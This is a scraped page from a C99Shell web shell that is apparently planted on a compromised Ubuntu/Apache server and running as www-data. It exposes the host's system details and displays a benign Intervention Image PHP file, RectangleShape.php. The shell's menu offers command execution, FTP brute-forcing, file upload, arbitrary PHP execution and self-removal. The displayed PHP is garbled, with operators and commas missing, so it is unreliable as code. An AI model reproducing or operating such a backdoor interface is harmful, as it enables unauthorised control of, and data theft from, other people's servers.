!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/intervention/image/src/Intervention/Image/Gd/Shapes/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RectangleShape.php (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Intervention\Image\Gd\Shapes;

use 
Intervention\Image\AbstractShape;
use 
Intervention\Image\Gd\Color;
use 
Intervention\Image\Image;

class 
RectangleShape extends AbstractShape
{
    
/**
     * X-Coordinate of top-left point
     *
     * @var int
     */
    
public $x1 0;

    
/**
     * Y-Coordinate of top-left point
     *
     * @var int
     */
    
public $y1 0;

    
/**
     * X-Coordinate of bottom-right point
     *
     * @var int
     */
    
public $x2 0;

    
/**
     * Y-Coordinate of bottom-right point
     *
     * @var int
     */
    
public $y2 0;

    
/**
     * Create new rectangle shape instance
     *
     * @param int $x1
     * @param int $y1
     * @param int $x2
     * @param int $y2
     */
    
public function __construct($x1 null$y1 null$x2 null$y2 null)
    {
        
$this->x1 is_numeric($x1) ? intval($x1) : $this->x1;
        
$this->y1 is_numeric($y1) ? intval($y1) : $this->y1;
        
$this->x2 is_numeric($x2) ? intval($x2) : $this->x2;
        
$this->y2 is_numeric($y2) ? intval($y2) : $this->y2;
    }

    
/**
     * Draw rectangle to given image at certain position
     *
     * @param  Image   $image
     * @param  int     $x
     * @param  int     $y
     * @return boolean
     */
    
public function applyToImage(Image $image$x 0$y 0)
    {
        
$background = new Color($this->background);
        
imagefilledrectangle($image->getCore(), $this->x1$this->y1$this->x2$this->y2$background->getInt());

        if (
$this->hasBorder()) {
            
$border_color = new Color($this->border_color);
            
imagesetthickness($image->getCore(), $this->border_width);
            
imagerectangle($image->getCore(), $this->x1$this->y1$this->x2$this->y2$border_color->getInt());
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--